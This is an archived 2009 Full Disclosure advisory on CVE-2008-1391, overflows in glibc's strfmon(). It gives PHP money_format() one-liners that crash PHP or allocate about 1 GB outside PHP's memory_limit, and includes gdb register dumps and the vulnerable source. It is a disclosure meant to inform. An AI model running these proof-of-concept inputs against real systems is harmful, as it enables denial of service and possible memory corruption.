Home page logo

fulldisclosure logo Full Disclosure mailing list archives

SecurityReason: glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities
From: Maksymilian Arciemowicz <cxib () securityreason com>
Date: Thu, 17 Sep 2009 14:43:08 +0200

Hash: SHA1

[ glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
- - Dis.: 10.03.2008
- - Pub.: 17.09.2009

CVE: CVE-2008-1391
Risk: High

Affected Software (tested 27.08.2009):
- - Fedora 11
- - Slackware 12.2
- - Ubuntu 9.04
- - others linux distributions

Original URL:

Previous URL:

- --- 0.Description ---
strfmon -- convert monetary value to string

The strfmon() function places characters into the array pointed to by s as controlled by the string pointed to by 
format. No
more than maxsize bytes are placed into the array.

The format string is composed of zero or more directives: ordinary characters (not %), which are copied unchanged to 
the output
stream; and
conversion specifications, each of which results in fetching zero or more
subsequent arguments. Each conversion specification is introduced by the %


#include <monetary.h>

strfmon(char * restrict s, size_t maxsize, const char * restrict

- --- 1. glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ---
In March 2008, our team has published a security note (SREASONRES:20080325) about vulnerabilities in strfmon(3) 
function. Issue
has been officially diagnosed in NetBSD, FreeBSD and MacOSX. However, from the source code due to a glibc also is 
vulnerable to.
We have informed glibc team. However, the description of the issue and fix was not enough for gnu team. They has 
changed status
for BOGUS and response was:

- ---   
And what exactly does an BSD implementation has to do with glibc?
- ---

Today we now, only NetBSD is secure for this. And all systems uses glibc are affected. Despite the differences in the 
NetBSD libc and glibc, issue is the same but the exploit differs from that presented in  (SREASONRES:20080325).

Description of the vulnerabalitie:
http://securityreason.com/achievement_securityalert/53 (SREASONRES:20080325)

Description of the fix:

To present this issue in Fedora 11, we will use php client. money_format() use strfmon(3) function so this program will 
be perfect.

[cx () localhost ~]$ php -r 'money_format("%.1073741821i",1);'
Segmentation fault

for 'money_format("%.1073741821i",1);' we will get

Program received signal SIGSEGV, Segmentation fault.
0x0019331a in __printf_fp () from /lib/libc.so.6

(gdb) bt
#0  0x0019331a in __printf_fp () from /lib/libc.so.6
#1  0x0018832b in __vstrfmon_l () from /lib/libc.so.6
#2  0x00187a36 in strfmon () from /lib/libc.so.6

strfmon() will call to __printf_fp() with overflowed arg. In result

(gdb) x/20s ($esi)-10
0x8448ff6:       ""
0x8448ff7:       ""
0x8448ff8:       "0"
0x8448ffa:       ""
0x8448ffb:       ""
0x8448ffc:       "0"
0x8448ffe:       ""
0x8448fff:       ""
0x8449000:       <Address 0x8449000 out of bounds>
0x8449000:       <Address 0x8449000 out of bounds>
0x8449000:       <Address 0x8449000 out of bounds>
(gdb) i r
eax            0x30     48
ecx            0x0      0
edx            0x0      0
ebx            0x2bdff4 2875380
esp            0xbfffec14       0xbfffec14
ebp            0xbfffed78       0xbfffed78
esi            0x8449000        138711040
edi            0x810c   33036
eip            0x19331a 0x19331a <__printf_fp+3274>

Now let's see what will hapen for 'money_format("%.1073741822i",1);'

Program received signal SIGSEGV, Segmentation fault.
0x0034b27b in hack_digit.12295 () from /lib/libc.so.6

php will crash in hack_digit().

(gdb) i r
eax            0x3ffffffe       1073741822
ecx            0x32     50
edx            0x2      2
ebx            0x476ff4 4681716
esp            0xbfffebc4       0xbfffebc4
ebp            0xbfffebf4       0xbfffebf4
esi            0x32     50
edi            0x3e     62

we can try change edi register.

For 'money_format("%.1073741824i",1);'
(gdb) i r
eax            0x40000000       1073741824
ecx            0x32     50
edx            0x2      2
ebx            0x35bff4 3522548
esp            0xbfffebbc       0xbfffebbc
ebp            0xbfffebec       0xbfffebec
esi            0x32     50
edi            0x42     66

But let's see what will hapen for 'money_format("%.77715949976712904702i", 1.1);'

crash in
Program received signal SIGSEGV, Segmentation fault.
0x00e4327b in hack_digit.12295 () from /lib/libc.so.6
(gdb) i r
eax            0x3ffffffe       1073741822
ecx            0x34     52
edx            0x2      2
ebx            0xf6eff4 16183284
esp            0xbfffebb4       0xbfffebb4
ebp            0xbfffebe4       0xbfffebe4
esi            0x34     52
edi            0x3e     62

esi 52.
Interesting is that the PHP memory_limit has no control over what will happens in the level of the libc. Function 
strfmon(3) can
allocate a lot of data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M

Strange is the fact that nobody checked the code of glibc. The algorithm used in BSD libc and glibc is very similar. 

Let's see libc/stdlib/strfmon_l.c (glibc rev-
- ---
      if (isdigit (*fmt))
          /* Parse field width.  */
          width = to_digit (*fmt);

          while (isdigit (*++fmt))
              int val = to_digit (*fmt);

              if (width > LONG_MAX / 10
                  || (width == LONG_MAX && val > LONG_MAX % 10))
                  __set_errno (E2BIG);
                  return -1;

              width = width * 10 + val;

          /* If we don't have enough room for the demanded width we
             can stop now and return an error.  */
          if (width >= maxsize - (dest - s))
              __set_errno (E2BIG);
              return -1;
- ---

Perfect. The above code protects us. Very funy is this comment

          /* If we don't have enough room for the demanded width we
             can stop now and return an error.  */

But what is below, is a mistake already
- ---
      /* Recognize left precision.  */
      if (*fmt == '#')
          if (!isdigit (*++fmt))
              __set_errno (EINVAL);
              return -1;
          left_prec = to_digit (*fmt);

          while (isdigit (*++fmt))
              left_prec *= 10;
              left_prec += to_digit (*fmt);

      /* Recognize right precision.  */
      if (*fmt == '.')
          if (!isdigit (*++fmt))
              __set_errno (EINVAL);
              return -1;
          right_prec = to_digit (*fmt);

          while (isdigit (*++fmt))
              right_prec *= 10;
              right_prec += to_digit (*fmt);
- ---

To overflow the left_prec, we need only give # ( if (*fmt == '#') ) before digits.

So, any uses like
- ---
      info.prec = right_prec;
      info.width = left_prec + (right_prec ? (right_prec + 1) : 0);
      info.spec = 'f';
      info.is_long_double = is_long_double;
      info.group = group;
      info.pad = pad;
      info.extra = 1;           /* This means use values from LC_MONETARY.  */

      ptr = &fpnum;
      done = __printf_fp (&f._sbf._f, &info, &ptr);
- ---

are vulnerable.

- --- 2. Greets ---
sp3x Infospec Chujwamwdupe p_e_a pi3

- --- 3. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib {a.t] securityreason [d0t} com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg



Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • SecurityReason: glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities Maksymilian Arciemowicz (Sep 17)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]